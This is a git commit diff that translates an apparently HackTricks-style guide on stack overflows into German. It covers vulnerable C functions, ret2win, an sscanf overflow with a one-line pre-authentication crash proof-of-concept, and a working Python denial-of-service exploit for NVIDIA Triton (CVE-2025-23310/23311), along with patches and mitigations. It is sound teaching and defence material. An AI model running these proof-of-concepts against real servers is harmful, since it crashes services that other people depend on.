Translated ['src/binary-exploitation/stack-overflow/README.md'] to de

This commit is contained in:
Translator 2025-08-20 02:44:49 +00:00
parent b5c84aa5eb
commit 57dfaa1438

View File

@ -4,11 +4,11 @@
## Was ist ein Stack Overflow
Ein **Stack Overflow** ist eine Sicherheitsanfälligkeit, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzkontrollen für Eingaben durchführen.
Ein **Stack Overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als ihm zugewiesen sind. Diese überschüssigen Daten werden **benachbarte Speicherbereiche überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von schädlichem Code führt. Dieses Problem tritt häufig aufgrund der Verwendung unsicherer Funktionen auf, die keine Grenzkontrollen für Eingaben durchführen.
Das Hauptproblem bei diesem Überschreiben ist, dass der **gespeicherte Befehlszeiger (EIP/RIP)** und der **gespeicherte Basiszeiger (EBP/RBP)**, um zur vorherigen Funktion zurückzukehren, **auf dem Stack gespeichert sind**. Daher wird ein Angreifer in der Lage sein, diese zu überschreiben und **den Ausführungsfluss des Programms zu steuern**.
Die Sicherheitsanfälligkeit tritt normalerweise auf, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür zugewiesen sind**, und somit in der Lage ist, andere Teile des Stacks zu überschreiben.
Die Schwachstelle tritt normalerweise auf, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür zugewiesen sind**, und somit in der Lage ist, andere Teile des Stacks zu überschreiben.
Einige gängige Funktionen, die anfällig dafür sind, sind: **`strcpy`, `strcat`, `sprintf`, `gets`**... Auch Funktionen wie **`fgets`**, **`read` & `memcpy`**, die ein **Längenargument** annehmen, könnten auf eine anfällige Weise verwendet werden, wenn die angegebene Länge größer ist als die zugewiesene.
@ -51,13 +51,13 @@ pattern search $rsp #Search the offset given the content of $rsp
## Ausnutzen von Stack-Überläufen
Während eines Überlaufs (vorausgesetzt, die Überlaufgröße ist groß genug) werden Sie in der Lage sein, **Werte von lokalen Variablen im Stack zu überschreiben**, bis Sie das gespeicherte **EBP/RBP und EIP/RIP (oder sogar mehr)** erreichen.\
Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu modifizieren**, sodass beim Ende der Funktion der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**.
Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu modifizieren**, sodass, wenn die Funktion endet, der **Kontrollfluss dorthin umgeleitet wird, wo der Benutzer in diesem Zeiger angegeben hat**.
In anderen Szenarien könnte es jedoch ausreichen, **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen).
In anderen Szenarien könnte es jedoch ausreichen, einfach **einige Variablenwerte im Stack zu überschreiben**, um die Ausnutzung zu erreichen (wie bei einfachen CTF-Herausforderungen).
### Ret2win
In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **Sie aufrufen müssen, um zu gewinnen**. Für diese Herausforderungen müssen Sie nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion** finden, die aufgerufen werden soll (in der Regel wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
In dieser Art von CTF-Herausforderungen gibt es eine **Funktion**, die **im** Binärprogramm **nie aufgerufen wird** und die **Sie aufrufen müssen, um zu gewinnen**. Für diese Herausforderungen müssen Sie nur den **Offset finden, um die Rücksprungadresse zu überschreiben**, und **die Adresse der Funktion finden**, die aufgerufen werden soll (normalerweise wäre [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass, wenn die verwundbare Funktion zurückkehrt, die versteckte Funktion aufgerufen wird:
{{#ref}}
ret2win/
@ -81,7 +81,7 @@ Diese Technik ist das grundlegende Framework, um den Hauptschutz der vorherigen
## Heap-Überläufe
Ein Überlauf muss nicht immer im Stack sein, er könnte auch im **Heap** sein, zum Beispiel:
Ein Überlauf wird nicht immer im Stack auftreten, er könnte auch im **Heap** auftreten, zum Beispiel:
{{#ref}}
../libc-heap/heap-overflow.md
@ -106,7 +106,7 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
```
1. Die erste Umwandlung (`%2s`) speichert sicher **zwei** Bytes in `version` (z.B. `"v1"`).
2. Die zweite Umwandlung (`%s`) **hat keinen Längenbezeichner**, daher wird `sscanf` **bis zum ersten NUL-Byte** weiter kopieren.
3. Da `endpoint` sich im **Stack** befindet und **0x800 Bytes lang** ist, führt das Bereitstellen eines Pfades, der länger als 0x800 Bytes ist, zur Beschädigung von allem, was sich nach dem Puffer befindet einschließlich des **Stack-Canyons** und der **gespeicherten Rücksprungadresse**.
3. Da `endpoint` sich im **Stack** befindet und **0x800 Bytes lang** ist, führt das Bereitstellen eines Pfades, der länger als 0x800 Bytes ist, zu einer Beschädigung von allem, was sich nach dem Puffer befindet einschließlich des **Stack Canary** und der **gespeicherten Rücksprungadresse**.
Ein einzeiliger Proof-of-Concept reicht aus, um den Absturz **vor der Authentifizierung** auszulösen:
```python
@ -115,12 +115,72 @@ warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
```
Auch wenn Stack-Canaries den Prozess abbrechen, erhält ein Angreifer dennoch ein **Denial-of-Service**-Primitive (und möglicherweise mit zusätzlichen Informationslecks eine Codeausführung). Die Lektion ist einfach:
Auch wenn Stack-Canaries den Prozess abbrechen, erhält ein Angreifer dennoch ein **Denial-of-Service**-Primitive (und mit zusätzlichen Informationslecks möglicherweise auch Codeausführung). Die Lektion ist einfach:
* Geben Sie immer eine **maximale Feldbreite** an (z.B. `%511s`).
* Immer eine **maximale Feldbreite** angeben (z.B. `%511s`).
* Bevorzugen Sie sicherere Alternativen wie `snprintf`/`strncpy_s`.
### Real-World Beispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Der NVIDIA Triton Inference Server (≤ v25.06) wies mehrere **stack-basierte Überläufe** auf, die über seine HTTP-API erreichbar waren.
Das anfällige Muster trat wiederholt in `http_server.cc` und `sagemaker_server.cc` auf:
```c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
```
1. `evbuffer_peek` (libevent) gibt die **Anzahl der internen Puffersegmente** zurück, die den aktuellen HTTP-Anforderungstext bilden.
2. Jedes Segment verursacht, dass ein **16-Byte** `evbuffer_iovec` auf dem **Stack** über `alloca()` zugewiesen wird **ohne obere Grenze**.
3. Durch den Missbrauch von **HTTP _chunked transfer-encoding_** kann ein Client die Anforderung zwingen, in **Hunderte von Tausenden von 6-Byte-Chunks** (`"1\r\nA\r\n"`) aufgeteilt zu werden. Dies lässt `n` unbeschränkt wachsen, bis der Stack erschöpft ist.
#### Proof-of-Concept (DoS)
```python
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
```
Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den Daemon in einer Standardkonfiguration zu **crashen**.
#### Patch & Mitigation
Die Version 25.07 ersetzt die unsichere Stapelzuweisung durch ein **heap-unterstütztes `std::vector`** und behandelt `std::bad_alloc` elegant:
```c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
```
Lessons learned:
* Rufe `alloca()` niemals mit von Angreifern kontrollierten Größen auf.
* Chunked-Anfragen können die Form von serverseitigen Puffern drastisch verändern.
* Validiere / begrenze jeden Wert, der aus Benutzereingaben abgeleitet wird, *bevor* du ihn in Speicherzuweisungen verwendest.
## References
* [watchTowr Labs Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
* [Trail of Bits Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
{{#include ../../banners/hacktricks-training.md}}